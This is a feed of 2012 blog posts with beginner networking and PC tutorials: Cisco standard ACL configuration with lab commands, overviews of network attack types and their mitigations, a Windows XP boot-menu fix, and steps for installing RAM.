noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Tue, 21 Feb 2012 20:50:00 +0000

Standard Access Lists

Because a standard access list filters only traffic based on source traffic, all you need is the IP address of the host or subnet you want to permit or deny. ACLs are created in global configuration mode and then applied on an interface. The syntax for creating a standard ACL is

access-list {1-99 | 1300-1999} {permit | deny} source-address
 [wildcard mask]

In this article we will configure standard access list. If you want read the feature and characteristic of access list reads this previous article.

Access control list

In this article we will use a RIP running topology. Which we created in RIP routing practical.

Download this RIP routing topology and open it in packet tracer

Rip Routing

If you want to learn how we created this topology then read this article Configure Rip Routing

Three basic steps to configure Standard Access List

Use the access-list global configuration command to create an entry in a standard ACL.
Use the interface configuration command to select an interface to which to apply the ACL.
Use the ip access-group interface configuration command to activate the existing ACL on an interface.

With Access Lists you will have a variety of uses for the wild card masks, but typically For CCNA exam prospective you should be able to do following:

Match a specific host,
Match an entire subnet,
Match an IP range, or
Match Everyone and anyone

Match specific hosts

Task

You have given a task to block 10.0.0.3 from gaining access on 40.0.0.0. While 10.0.0.3 must be able to communicate with networks. Other computer from the network of 10.0.0.0 must be able to connect with the network of 40.0.0.0.

Decide where to apply ACL and in which directions.

Our host must be able to communicate with other host except 40.0.0.0 so we will place this access list on FastEthernet 0/1 of R2 (2811) connected to the network of 40.0.0.0. Direction will be outside as packet will be filter while its leaving the interface. If you place this list on R1(1841) then host 10.0.0.3 will not be able to communicate with any other hosts including 40.0.0.0.
To configure R2 double click on it and select CLI (Choose only one method result will be same)

R2>enable
R2#configure terminal
Enter configuration commands, one per line.  End with CNTL/Z.
R2(config)#access-list 1 deny host 10.0.0.3
R2(config)#access-list 1 permit any
R2(config)#interface fastEthernet 0/1
R2(config-if)#ip access-group 1 out

OR

R2>enable R2#configure terminal Enter configuration commands, one per line. End with CNTL/Z. R2(config)#access-list 1 deny 10.0.0.3 0.0.0.0 R2(config)#access-list 1 permit any R2(config)#interface fastEthernet 0/1 R2(config-if)#ip access-group 1 out
To test first do ping from 10.0.0.3 to 40.0.0.3 it should be request time out as this packet will filter by ACL. Then ping 30.0.0.3 it should be successfully replay.

PC>ping 40.0.0.3 Pinging 40.0.0.3 with 32 bytes of data: Request timed out. Request timed out. Request timed out. Request timed out. Ping statistics for 40.0.0.3: Packets: Sent = 4, Received = 0, Lost = 4 (100% loss), PC>ping 30.0.0.3 Pinging 30.0.0.3 with 32 bytes of data: Request timed out. Reply from 30.0.0.3: bytes=32 time=140ms TTL=126 Reply from 30.0.0.3: bytes=32 time=156ms TTL=126 Reply from 30.0.0.3: bytes=32 time=112ms TTL=126 Ping statistics for 30.0.0.3: Packets: Sent = 4, Received = 3, Lost = 1 (25% loss), Approximate round trip times in milli-seconds: Minimum = 112ms, Maximum = 156ms, Average = 136ms
As we applied access list only on specific host so other computer from the network of 10.0.0.0 must be able to connect with the network of 40.0.0.0. To test do ping from 10.0.0.2 to 40.0.0.3
PC>ipconfig IP Address......................: 10.0.0.2 Subnet Mask.....................: 255.0.0.0 Default Gateway.................: 10.0.0.1 PC>ping 40.0.0.3 Pinging 40.0.0.3 with 32 bytes of data: Request timed out. Reply from 40.0.0.3: bytes=32 time=141ms TTL=126 Reply from 40.0.0.3: bytes=32 time=140ms TTL=126 Reply from 40.0.0.3: bytes=32 time=125ms TTL=126 Ping statistics for 40.0.0.3: Packets: Sent = 4, Received = 3, Lost = 1 (25% loss), Approximate round trip times in milli-seconds: Minimum = 125ms, Maximum = 141ms, Average = 135ms

Match an entire subnet

Task

You have given a task to the network of 10.0.0.0 from gaining access on 40.0.0.0. While 10.0.0.0 must be able to communicate with networks .

Wildcards

Wildcards are used with access lists to specify an individual host, a network, or a certain range of a network or networks.

Formula to calculate wild card mask for access list

The key to matching an entire subnet is to use the following formula for the wildcard mask. It goes as follows:

Wildcard mask = 255.255.255.255 � subnet

So for example if my current subnet was 255.0.0.0, the mask would be 0.255.255.255.
255.255.255.255 255 .0 .0 .0 - ---------------- 0. 255 .255.255 ----------------
Once you have calculated the wild card mask rest is same as we did in pervious example
R2>enable Enter configuration commands, one per line. End with CNTL/Z. R2(config)#access-list 2 deny 10.0.0.0 0.255.255.255 R2(config)#access-list 2 permit any R2(config)#interface fastethernet 0/1 R2(config-if)#ip access-group 2 out R2(config-if)#
To test first do ping from 10.0.0.3 to 40.0.0.3 it should be request time out as this packet will filter by ACL. Then ping 30.0.0.3 it should be successfully replay.
Now do ping from 10.0.0.2 to 40.0.0.3 and further 30.0.0.2 result should be same as the packet is filtering on network based

Match an IP range

You are a network administrator at ComputerNetworkingNotes.com. You task is to block an ip range of 10.3.16.0 ; 10.3.31.255 from gaining access to the network of 40.0.0.0

Solutions

Our range is 10.3.16.0 ; 10.3.31.255. In order to find the mask, take the higher IP and subtract from it the lower IP.
10.3.31.255 10.3.16.0 - -------------- 0.0.15.255 --------------
In this case the wildcard mask for this range is 0.0.15.255.
To permit access to this range, you would use the following:

R2>enable
Enter configuration commands, one per line.  End with CNTL/Z.
R2(config)#access-list 2 deny 10.3.16.0 0.0.15.255
R2(config)#access-list 2 permit any
R2(config)#interface fastethernet 0/1
R2(config-if)#ip access-group 2 out
R2(config-if)#

One thing to note is that each non-zero value in the mask must be one less than a power of 2, i.e. 0, 1, 3, 7, 15, 31, 63, 127, 255.

Match Everyone and Anyone

This is the easiest of Access-Lists to create, just use the following:
access-list 1 permit any
or
access-list 1 permit 0.0.0.0 255.255.255.255

Secure telnet session via standard ACL

This is among the highly tested topic in CCNA exam. We could use extended ACL to secure telnet session but if you did that, you'd have to apply it inbound on every interface, and that really wouldn't scale well to a large router with dozens, even hundreds, of interfaces.Here's a much better solution:

Use a standard IP access list to control access to the VTY lines themselves.

To perform this function, follow these steps:

Create a standard IP access list that permits only the host or hosts you want to be able to telnet into the routers.
Apply the access list to the VTY line with the access-class command

Secure R2 in a way that only 20.0.0.2 can telnet it beside it all other telnet session should be denied
R2>enable R2#configure terminal Enter configuration commands, one per line. End with CNTL/Z. R2(config)#access-list 3 permit host 20.0.0.2 R2(config)#line vty 0 4 R2(config-line)#password vinita R2(config-line)#login R2(config-line)#access-class 3 in
To test do telnet from 20.0.0.2 first is should be successful.
PC>ipconfig IP Address......................: 20.0.0.2 Subnet Mask.....................: 255.0.0.0 Default Gateway.................: 20.0.0.1 PC>telnet 50.0.0.2 Trying 50.0.0.2 ... User Access Verification Password: R2>
Now telnet it from any other pc apart from 20.0.0.2. it must be filter and denied
PC>ipconfig IP Address......................: 20.0.0.3 Subnet Mask.....................: 255.0.0.0 Default Gateway.................: 20.0.0.1 PC>telnet 50.0.0.2 Trying 50.0.0.2 ... % Connection refused by remote host PC>

Access Control List Standard Extended

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Tue, 21 Feb 2012 20:29:00 +0000

Access Control List

ACLs are basically a set of commands, grouped together by a number or name that is used to filter traffic entering or leaving an interface.
When activating an ACL on an interface, you must specify in which direction the traffic should be filtered:

Inbound (as the traffic comes into an interface)

Outbound (before the traffic exits an interface)

Inbound ACLs:
Incoming packets are processed before they are routed to an outbound interface. An inbound ACL is efficient because it saves the overhead of routing lookups if the packet will be discarded after it is denied by the filtering tests. If the packet is permitted by the tests, it is processed for routing.

Outbound ACLs:
Incoming packets are routed to the outbound interface and then processed through the outbound ACL.

Universal fact about Access control list

ACLs come in two varieties:Numbered and named
Each of these references to ACLs supports two types of filtering: standard and extended.
Standard IP ACLs can filter only on the source IP address inside a packet.
Whereas an extended IP ACLs can filter on the source and destination IP addresses in the packet.
There are two actions an ACL can take: permit or deny.
Statements are processed top-down.
Once a match is found, no further statements are processed; therefore, order is important.
If no match is found, the imaginary implicit deny statement at the end of the ACL drops the packet.
An ACL should have at least one permit statement; otherwise, all traffic will be dropped because of the hidden implicit deny statement at the end of every ACL.

No matter what type of ACL you use, though, you can have only one ACL per protocol, per interface, per direction. For example, you can have one IP ACL inbound on an interface and another IP ACL outbound on an interface, but you cannot have two inbound IP ACLs on the same interface.

Access List Ranges

Type	Range
IP Standard	1.99
IP Extended	100.199
IP Standard Expanded Range	1300.1999
IP Extended Expanded Range	2000.2699

Standard ACLs

A standard IP ACL is simple; it filters based on source address only. You can filter a source network or a source host, but you cannot filter based on the destination of a packet, the particular protocol being used such as the Transmission Control Protocol (TCP) or the User Datagram Protocol (UDP), or on the port number. You can permit or deny only source traffic.

Extended ACLs:

Named ACLs

One of the disadvantages of using IP standard and IP extended ACLs is that you reference them by number, which is not too descriptive of its use. With a named ACL, this is not the case because you can name your ACL with a descriptive name. The ACL named DenyMike is a lot more meaningful than an ACL simply numbered 1. There are both IP standard and IP extended named ACLs.

Another advantage to named ACLs is that they allow you to remove individual lines out of an ACL. With numbered ACLs, you cannot delete individual statements. Instead, you will need to delete your existing access list and re-create the entire list.

Configuration Guidelines

Order of statements is important: put the most restrictive statements at the top of the list and the least restrictive at the bottom.
ACL statements are processed top-down until a match is found, and then no more statements in the list are processed.
If no match is found in the ACL, the packet is dropped (implicit deny).
Each ACL needs either a unique number or a unique name.
The router cannot filter traffic that it, itself, originates.
You can have only one IP ACL applied to an interface in each direction (inbound and outbound) you can't have two or more inbound or outbound ACLs applied to the same interface. (Actually, you can have one ACL for each protocol, like IP and IPX, applied to an interface in each direction.)
Applying an empty ACL to an interface permits all traffic by default: in order for an ACL to have an implicit deny statement, you need at least one actual permit or deny statement.
Remember the numbers you can use for IP ACLs.Standard ACLs can use numbers ranging 1.99 and 1300.1999, and extended ACLs can use 100.199 and 2000.2699.
Wildcard mask is not a subnet mask. Like an IP address or a subnet mask, a wildcard mask is composed of 32 bits when doing the conversion; subtract each byte in the subnet mask from 255.

There are two special types of wildcard masks:

0.0.0.0 and 255.255.255.255

A 0.0.0.0 wildcard mask is called a host mask
255.255.255.255. If you enter this, the router will cover the address and mask to the keyword any.

Placement of ACLs

Standard ACLs should be placed as close to the destination devices as possible.
Extended ACLs should be placed as close to the source devices as possible.

Network Security Mitigating Common Threats

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Tue, 21 Feb 2012 20:22:00 +0000

Network Security Mitigating Common Threats

Improper and incomplete network device installation is an often-overlooked security threat that, if left unaddressed, can have terrible results. Software-based security measures alone cannot prevent intended or even accidental network damage caused by poor installation. Now we will describe how to mitigate common security threats to Server Routers and Switches.

Physical Installations

Physical installations involve four types of threats:
hardware, electrical, environmental, and maintenance.

Hardware threats

Hardware threats involve threats of physical damage to the router or switch hardware. Mission-critical Cisco network equipment should be located in wiring closets or in computer or telecommunications rooms that meet these minimum requirements:

The room must be locked with only authorized personnel allowed access.

The room should not be accessible via a dropped ceiling, raised floor, window, ductwork, or point of entry other than the secured access point.

If possible, use electronic access control with all entry attempts logged by security systems and monitored by security personnel.

If possible, security personnel should monitor activity via security cameras with automatic recording.

Hardware threats involve physical damage to network components, such as servers, routers, and switches

Electrical threats

Electrical threats include irregular fluctuations in voltage, such as brownouts and voltage spikes, Electrical threats, such as voltage spikes, insufficient supply voltage (brownouts), unconditioned power (noise), and total power loss, can be limited by adhering to these guidelines:

Install uninterruptible power supply (UPS) systems for mission-critical Cisco network devices.

Install backup generator systems for mission-critical supplies.

Plan for and initiate regular UPS or generator testing and maintenance procedures based on the manufacturer-suggested preventative maintenance schedule.

Install redundant power supplies on critical devices.

Monitor and alarm power-related parameters at the power supply and device levels.

Environmental threats

Environmental threats include very low or high temperatures, moisture, electrostatic, and magnetic Interference Environmental threats, such as temperature extremes (too hot or too cold) or humidity extremes (too wet or too dry), also require mitigation. Take these actions to limit environmental damage to Cisco network devices:

Supply the room with dependable temperature and humidity control systems. Always verify the recommended environmental parameters of the Cisco network equipment with the supplied product documentation.

Remove any sources of electrostatic and magnetic interference in the room.

If possible, remotely monitor and alarm the environmental parameters of the room.

Maintenance threats

Maintenance threats include not having backup parts or components for critical network components; not labeling components and their cabling correctly Maintenance threats include poor handling of key electronic components, electrostatic discharge (ESD), lack of critical spares, poor cabling, poor labeling, and so on. Maintenance-related threats are a broad category that includes many items. Follow the general rules listed here to prevent maintenance-related threats:

Clearly label all equipment cabling and secure the cabling to equipment racks to prevent accidental damage, disconnection, or incorrect termination.

Use cable runs, raceways, or both to traverse rack-to-ceiling or rack-to-rack connections.

Always follow ESD procedures when replacing or working with internal router and switch device components.

Maintain a stock of critical spares for emergency use.

Do not leave a console connected to and logged into any console port. Always log off administrative interfaces when leaving a station.

Do not rely upon a locked room as the only necessary protection for a device. Always remember that no room is ever totally secure. After intruders are inside a secure room, nothing is left to stop them from connecting a terminal to the console port of a Cisco router or switch.

Cisco's IOS Firewall

To mitigate some of the more common security threats discussed in previous article Type of Attack Cisco IOS Firewall can be used. Main features of Cisco's IOS Firewall those can be used to mitigate the security threat are :

Intrusion detection

A deep packet inspection tool that lets you monitor, intercept, and respond to abuse in real time by referencing 102 of the most common attack and intrusion detection signatures.

ICMP inspection

Basically permits responses to ICMP packets like ping and traceroute that come from inside your firewall while denying other ICMP traffic.

Authentication proxy

A feature that makes users authenticate any time they want to access the network's resources through HTTP, HTTPS, FTP, and Telnet. It keeps personal network access profiles for users and automatically gets them for you from a RADIUS or TACACS+ server and applies them as well.

Per-user firewalls

These are basically personalized, user-specific, downloadable firewalls obtained through service providers. You can also get personalized ACLs and other settings via AAA server profile storage.

Denial of service (DoS) detection and prevention

A feature that checks packet headers and drops any packets it finds suspicious.

Network Security Types of Attack Reconnaissance Attack

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Tue, 21 Feb 2012 20:15:00 +0000

Reconnaissance Attacks

A reconnaissance attack occurs when an adversary tries to learn information about your network.

Reconnaissance is the unauthorized discovery and mapping of systems, services, or vulnerabilities.

Reconnaissance is also known as information gathering and, in most cases, precedes an actual access or DoS attack. First, the malicious intruder typically conducts a ping sweep of the target network to determine which IP addresses are alive. Then the intruder determines which services or ports are active on the live IP addresses. From this information, the intruder queries the ports to determine the type and version of the application and operating system running on the target host.

Reconnaissance is somewhat analogous to a thief investigating a neighborhood for vulnerable homes, such as an unoccupied residence or a house with an easy-to-open door or window. In many cases, intruders look for vulnerable services that they can exploit later when less likelihood that anyone is looking exists.

Access Attacks

An access attack occurs when someone tries to gain unauthorized access to a component, tries to gain unauthorized access to information on a component, or increases their privileges on a network component. Access attacks exploit known vulnerabilities in authentication services, FTP services, and web services to gain entry to web accounts, confidential databases, and other sensitive information.

DoS Attacks

DoS attacks involve an adversary reducing the level of operation or service, preventing access to, or completely crashing a network component or service.

Password Attacks

A password attack usually refers to repeated attempts to identify a user account, password, or both. These repeated attempts are called brute-force attacks. Password attacks are implemented using other methods, too, including Trojan horse programs, IP spoofing, and packet sniffers.

Password attack threat-mitigation methods

A security risk lies in the fact that passwords are stored as plaintext. You need to encrypt passwords to overcome risks. On most systems, passwords are processed through an encryption algorithm that generates a one-way hash on passwords. You cannot reverse a one-way hash back to its original text. Most systems do not decrypt the stored password during authentication; they store the one-way hash. During the login process, you supply an account and password, and the password encryption algorithm generates a one-way hash. The algorithm compares this hash to the hash stored on the system. If the hashes are the same, the algorithm assumes that the user supplied the proper password.

Remember that passing the password through an algorithm results in a password hash. The hash is not the encrypted password, but rather a result of the algorithm. The strength of the hash is that the hash value can be recreated only with the original user and password information and that retrieving the original information from the hash is impossible. This strength makes hashes perfect for encoding passwords for storage. In granting authorization, the hashes, rather than the plain password, are calculated and compared.

Password attack threat-mitigation methods include these guidelines:

Do not allow users to have the same password on multiple systems. Most users have the same password for each system they access, as well as for their personal systems.

Disable accounts after a specific number of unsuccessful logins. This practice helps to prevent continuous password attempts.

Do not use plaintext passwords. Use either a one-time password (OTP) or an encrypted password.

Use strong passwords. Strong passwords are at least eight characters long and contain uppercase letters, lowercase letters, numbers, and special characters. Many systems now provide strong password support and can restrict users to strong passwords only.

The standard authentication protocols used by various network services, such as RAS and VPN, for authentication include the following:

Password Authentication Protocol

Password Authentication Protocol (PAP) The Password Authentication Protocol sends the user's username and password in plain text. It is very insecure because someone can analyze and interpret the logon traffic. This is the authentication protocol used by the basic authentication method mentioned previously.

Challenge Handshake Authentication Protocol

Challenge Handshake Authentication Protocol (CHAP) With the Challenge Handshake Authentication Protocol, the server sends a client a challenge (a key), which is combined with the user's password. Both the user's password and the challenge are run through the MD5 hashing algorithm (a formula), which generates a hash value, or mathematical answer, and that hash value is sent to the server for authentication. The server uses the same key to create a hash value with the password stored on the server and then compares the resulting value with the hash value sent by the client. If the two hash values are the same, the client has supplied the correct password. The benefit is that the user's credentials have not been passed on the wire at all.

Microsoft Challenge Handshake Authentication Protocol MS-CHAP

Microsoft Challenge Handshake Authentication Protocol MS-CHAP uses the Microsoft Point-to-Point Encryption (MPPE) protocol along with MS-CHAP to encrypt all traffic from the client to the server. MS-CHAP is a distinction of the CHAP authentication protocol and uses MD4 as the hashing algorithm versus MD5 used by CHAP.

MS-CHAPv2

MS-CHAPv2 With MS-CHAP version 2 the authentication method has been extended to authenticate both the client and the server. MS-CHAPv2 also uses stronger encryption keys than CHAP and MS-CHAP.

Extensible Authentication Protocol (EAP)

Extensible Authentication Protocol (EAP) The Extensible Authentication Protocol allows for multiple logon methods such as smartcard logon, certificates, Kerberos, and public-key authentication. EAP is also frequently used with RADIUS, which is a central authentication service that can be used by RAS, wireless, or VPN solutions.

How To Remove OS Choice From Booting Menu

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Mon, 20 Feb 2012 22:03:00 +0000

How To Remove OS Choice From Booting Menu

Right click on "my computer”. Click "properties”. Then click on "advanced" tab. click on "settings" in bottom most column "startup & recovery”. Click on” edit" & notepad file will come up. It should contain only one line something like this (not necessarily same but similar).

Quote:

multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Micro soft Windows XP Professional

If there are more than one line like this then you have to remove one of them. Which one you should remove is by looking both lines.

e.g. my line says multi(0)disk(0)rdisk(0)partition(1) which means first hard disk first partition which is C: in my case.

Do not edit the file unless you are absolutely sure or you won't be able to boot after restart. If unsure then paste all the lines in your notepad file along with details of windows install drive & the one which you format.

If u r unsure which to delete simply disable the property stating "Time to display list of operating systems".

Network Security Types of Attack Passive Attack Active Attack

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Mon, 20 Feb 2012 21:50:00 +0000

Network Security

A security policy defines what people can and can't do with network components and resources.

Need for Network Security

In the past, hackers were highly skilled programmers who understood the details of computer communications and how to exploit vulnerabilities. Today almost anyone can become a hacker by downloading tools from the Internet. These complicated attack tools and generally open networks have generated an increased need for network security and dynamic security policies.

The easiest way to protect a network from an outside attack is to close it off completely from the outside world. A closed network provides connectivity only to trusted known parties and sites; a closed network does not allow a connection to public networks.
Because they have no Internet connectivity, networks designed in this way can be considered safe from Internet attacks. However, internal threats still exist.
There is a estimates that 60 to 80 percent of network misuse comes from inside the enterprise where the misuse has taken place.

With the development of large open networks, security threats have increased significantly in the past 20 years. Hackers have discovered more network vulnerabilities, and because you can now download applications that require little or no hacking knowledge to implement, applications intended for troubleshooting and maintaining and optimizing networks can, in the wrong hands, be used maliciously and pose severe threats.

An adversary

A person that is interested in attacking your network; his motivation can range from gathering or stealing information, creating a DoS, or just for the challenge of it

Types of attack:

Classes of attack might include passive monitoring of communications, active network attacks, close-in attacks, exploitation by insiders, and attacks through the service provider. Information systems and networks offer attractive targets and should be resistant to attack from the full range of threat agents, from hackers to nation-states. A system must be able to limit damage and recover rapidly when attacks occur.
There are five types of attack:

Passive Attack

A passive attack monitors unencrypted traffic and looks for clear-text passwords and sensitive information that can be used in other types of attacks. Passive attacks include traffic analysis, monitoring of unprotected communications, decrypting weakly encrypted traffic, and capturing authentication information such as passwords. Passive interception of network operations enables adversaries to see upcoming actions. Passive attacks result in the disclosure of information or data files to an attacker without the consent or knowledge of the user.

Active Attack

In an active attack, the attacker tries to bypass or break into secured systems. This can be done through stealth, viruses, worms, or Trojan horses. Active attacks include attempts to circumvent or break protection features, to introduce malicious code, and to steal or modify information. These attacks are mounted against a network backbone, exploit information in transit, electronically penetrate an enclave, or attack an authorized remote user during an attempt to connect to an enclave. Active attacks result in the disclosure or dissemination of data files, DoS, or modification of data.

Distributed Attack

A distributed attack requires that the adversary introduce code, such as a Trojan horse or back-door program, to a trusted component or software that will later be distributed to many other companies and users Distribution attacks focus on the malicious modification of hardware or software at the factory or during distribution. These attacks introduce malicious code such as a back door to a product to gain unauthorized access to information or to a system function at a later date.

Insider Attack

An insider attack involves someone from the inside, such as a disgruntled employee, attacking the network Insider attacks can be malicious or no malicious. Malicious insiders intentionally eavesdrop, steal, or damage information; use information in a fraudulent manner; or deny access to other authorized users. No malicious attacks typically result from carelessness, lack of knowledge, or intentional circumvention of security for such reasons as performing a task

Close-in Attack

A close-in attack involves someone attempting to get physically close to network components, data, and systems in order to learn more about a network Close-in attacks consist of regular individuals attaining close physical proximity to networks, systems, or facilities for the purpose of modifying, gathering, or denying access to information. Close physical proximity is achieved through surreptitious entry into the network, open access, or both.

One popular form of close in attack is social engineering in a social engineering attack, the attacker compromises the network or system through social interaction with a person, through an e-mail message or phone. Various tricks can be used by the individual to revealing information about the security of company. The information that the victim reveals to the hacker would most likely be used in a subsequent attack to gain unauthorized access to a system or network.

Phishing Attack

In phishing attack the hacker creates a fake web site that looks exactly like a popular site such as the SBI bank or paypal. The phishing part of the attack is that the hacker then sends an e-mail message trying to trick the user into clicking a link that leads to the fake site. When the user attempts to log on with their account information, the hacker records the username and password and then tries that information on the real site.

Hijack attack

Hijack attack In a hijack attack, a hacker takes over a session between you and another individual and disconnects the other individual from the communication. You still believe that you are talking to the original party and may send private information to the hacker by accident.

Spoof attack

Spoof attack In a spoof attack, the hacker modifies the source address of the packets he or she is sending so that they appear to be coming from someone else. This may be an attempt to bypass your firewall rules.

Buffer overflow

Buffer overflow A buffer overflow attack is when the attacker sends more data to an application than is expected. A buffer overflow attack usually results in the attacker gaining administrative access to the system in a ommand prompt or shell.

Exploit attack

Exploit attack In this type of attack, the attacker knows of a security problem within an operating system or a piece of software and leverages that knowledge by exploiting the vulnerability.

Password attack

Password attack An attacker tries to crack the passwords stored in a network account database or a password-protected file. There are three major types of password attacks: a dictionary attack, a brute-force attack, and a hybrid attack. A dictionary attack uses a word list file, which is a list of potential passwords. A brute-force attack is when the attacker tries every possible combination of characters.

Network Definitions Characteristics Components locations

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Mon, 20 Feb 2012 21:44:00 +0000

What Is a Network?

The first assignment in understanding how to build a computer network is defining what a network is and understanding how it is used to help a business meet its objectives.

Network is a combination of computer hardware, cabling, network devices, and computer software used together to allow computers to communicate with each other.

A network is basically all of the components (hardware and software) involved in connecting computers across small and large distances. Networks are used to provide easy access to information, thus increasing productivity for users.

Network hardware is mainly made by two basic components: the entities that want to share the information or resources, such as servers and workstations, and the medium that enables the entities to communicate, which is a cable or a wireless medium

Servers, Workstations, and Hosts

Host
The term host refers to any computer or device that is connected to a network and sends or receives information on that network. A host can be a server, a workstation, a printer with its own network card, or a device such as a router.
The server
is a special computer that contains more disk space and memory than are found on client workstations. The server has special software installed that allows it to function as a server.
Workstation
The workstation also is known as a client, which is just a basic computer running a client operating system such as Windows XP or Linux. A typical network involves having users sit at workstations, running such applications as word processors or spreadsheet programs.

Network Characteristics

The following characteristics should be considered in network design and ongoing maintenance:

Availability.
Availability is typically measured in a percentage based on the number of minutes that exist in a year. Therefore, up-time would be the number of minutes the network is available divided by the number of minutes in a year.
Cost
includes the cost of the network components, their installation, and their ongoing maintenance.
Reliability
defines the reliability of the network components and the connectivity between them. Mean time between failures (MTBF) is commonly used to measure reliability.
Security
includes the protection of the network components and the data they contain and/or the data transmitted between them.
Speed
includes how fast data is transmitted between network end points (the data rate).
Scalability
defines how well the network can adapt to new growth, including new users, applications, and network components.
Topology
describes the physical cabling layout and the logical way data moves between components.

Many different types and locations of networks exist. You might use a network in your home or home office to communicate via the Internet, to locate information, to place orders for merchandise, and to send messages to friends. You might have work in a small office that is set up with a network that connects other computers and printers in the office. You might work in a large enterprise in which many computers, printers, storage devices, and servers communicate and store information from many departments over large geographic areas.
Networks carry data in many types of environments, including homes, small businesses, and large enterprises. In a large enterprise, a number of locations might need to Communicate with each other, and you can describe those locations as follows:

Corporate office:

A Corporate or main office is a site where everyone is connected via a network and where the bulk of corporate information is located. A Corporate office can have hundreds or even thousands of people who depend on network access to do their jobs. A main office might use several connected networks, which can span many floors in an office building or cover a campus that contains several buildings.

Remote locations:

A variety of remote access locations use networks to connect to the main office or to each other.

Branch offices:

In branch offices, smaller groups of people work and communicate with each other via a network. Although some corporate information might be stored at a branch office, it is more likely that branch offices have local network resources, such as printers, but must access information directly from the main office.

Home offices:

When individuals work from home, the location is called a home office. Home office workers often require on-demand connections to the main or branch offices to access information or to use network resources such as file servers.

Mobile users:

Mobile users connect to the main office network while at the main office, at the branch office, or traveling. The network access needs of mobile users are based on where the mobile users are located.

Network Components

All of these networks share many common components. As we describe in definition that network is basically sharing of information via network components. So network component play a major role in designing and maintaining network. Some most essential network components listed here.

Network Components
Applications	network-aware	network unaware
Protocols	open standard	proprietary
Computer	Windows, Macintosh OS, UNIX, Linux
Networking Devices	hubs, bridges, switches, routers, firewalls, wireless access points, modems
Media types	copper,coaxial,utp, fiber cabling

Types of Networks

Organizations of different structures, sizes, and budgets need different types of networks. Networks can be divided into one of two categories:

peer-to-peer

server-based networks

Peer-to-Peer Network

A peer-to-peer network has no dedicated servers; instead, a number of workstations are connected together for the purpose of sharing information or devices. Peer-to-peer networks are designed to satisfy the networking needs of home networks or of small companies that do not want to spend a lot of money on a dedicated server but still want to have the capability to share information or devices like in school, college, cyber cafe.

Server-Based Networks

In server-based network data files that will be used by all of the users are stored on the one server. With a server-based network, the network server stores a list of users who may use network resources and usually holds the resources as well.

This will help by giving you a central point to set up permissions on the data files, and it will give you a central point from which to back up all of the data in case data loss should occur.

Network Communications

Computer networks use signals to transmit data, and protocols are the languages computers use to communicate.

Protocols provide a variety of communications services to the computers on the network.

Local area networks connect computers using a shared, half-duplex, baseband medium, and wide area networks link distant networks.

Enterprise networks often consist of clients and servers on horizontal segments connected by a common backbone, while peer-to-peer networks consist of a small number of computers on a single LAN.

How to Easily and Safely Install RAM

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Mon, 20 Feb 2012 21:34:00 +0000

How to Easily and Safely Install RAM

KNOW THE TYPES OF RAM MEMORY HERE

Check to see if you have ample light. You may want to have a container to place small
screws in. The system unit cover may have small screws and you don't want to lose them.

After you have plenty of work space and ample lighting, prepare your mind as well. Make
this and every other adventure of working on your computer educational and fun.

Now go over to www.ultimatepcrepair.com/photos.html to familiarize yourself with all
components inside the PC. Take the time to study the actual components inside your
computer. You'll be glad you did should something go wrong. Follow these steps to install
your drive.

Turn off your computer and unplug all peripherals. Take notice of how you unplug or
disconnect any devices.

Remove the side panel of the tower system or the cover if you have a desktop. Place the
panel in a safe place well out of the way.

Before touching anything inside the system unit, remove electrical static charge from your
body by touching a door knob or any unpainted metal surface.

Remove the new memory from its protective wrapping and locate the sockets to install the
new memory chips.

Notice the type of retaining clips that hold the chips in place. Remove any old chips you
intend to move. Now to be sure you won't damage the chips, ground yourself again to
remove any remaining static electricity.

WANT TO SPEED UP YOUR PC? TRY ADDING RAM

Pull the retaining clip open and carefully slide the RAM Chips in their memory banks.
Push the clips back over the new memory chips.

Check and double check the firmness of the chips by gently trying to move them from side
to side. Take a good long look at the chips for anything that looks unusual.

Replace the system unit cover and reconnect all peripherals. Reboot the computer and the
operating system should recognize your new or added memory without any problem.

Its that easy when it comes to installing new or more memory.

Read your computer's manual first to find out what type of ram memory you have and
what is needed for upgrades.

Visit the Kingston memory site above and use their memory configurator to find out the
memory you need to upgrade your computer.

And go ahead and enjoy the faster speed you should experience once your new memory is
installed. Don't forget to run scandisk, defragment, and disk cleanup to clean your hard
drive of extra space.

Install More RAM In Your Laptop For More Speed

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Mon, 20 Feb 2012 21:08:00 +0000

Install More RAM In Your Laptop For More Speed

Your Laptop is indeed your companion, especially when you're on the go. We often take
both our laptops on vacation, in town to catch up on some work. And boosting your
knowledge of your laptop with go a long long way in saving you money by repairing it
yourself.

Installing memory is one of the easiest tasks. Take the time to first be sure you have the
right RAM for your computer. If you're in doubt take it back to the place of purchase and
be sure you have the right RAM. After being certain you have the right RAM, you're ready
to open the system unit and begin. But first, you need to remove static electricity.

First: Turn Off the Laptop and remove the Battery, normally located on the bottom of
the computer.

Second: Turn the Laptop over and locate the RAM compartment. Some Laptops
Memory Module Compartments may be located in another area. Check your owner's
manual to be certain.

Third: Remove any and all ESD or Electrical Static Charge from your body and clothes
so no damage to the chips can occur. Use a screwdriver to remove the RAM compartment
cover.

Fourth: Study the Memory Modules for a minute to understand how they are installed
so you won't forget how to add the upgraded modules. Grasp the clip holding the old
Module in place and push it up.
Grasp the module and carefully lift it up and out of the socket. Notice the indent in the
module. This allow the module to be installed in only one way.

Fifth: Remove the new RAM from its protective wrap and study it to be sure it is not
damaged. Place the module in the empty socket, carefully press down and allow the clips
to click in place.

Sixth: Replace the Memory cover, and Battery. Reboot the computer and the operating
system should recognize your new or added memory without any problem.
Its that easy when it comes to installing new or more memory. Read your computer's
manual first to find out what type of ram memory you have and what is needed for
upgrades.

Take time to Visit the Kingston Memory site above and use their memory configurator
to find out the memory you need to upgrade your computer.

And go ahead and enjoy the faster speed you should experience once your new memory is
installed. Don't forget to run scandisk, defragment,and disk cleanup to clean your hard
drive of extra space.

Disable Notification Area Balloon Tips In Windows XP

noreply@blogger.com (Md.Ashadullah-Al-Shahid (SUNNY)) — Fri, 17 Feb 2012 23:22:00 +0000

Disable Notification Area Balloon Tips In Windows XP

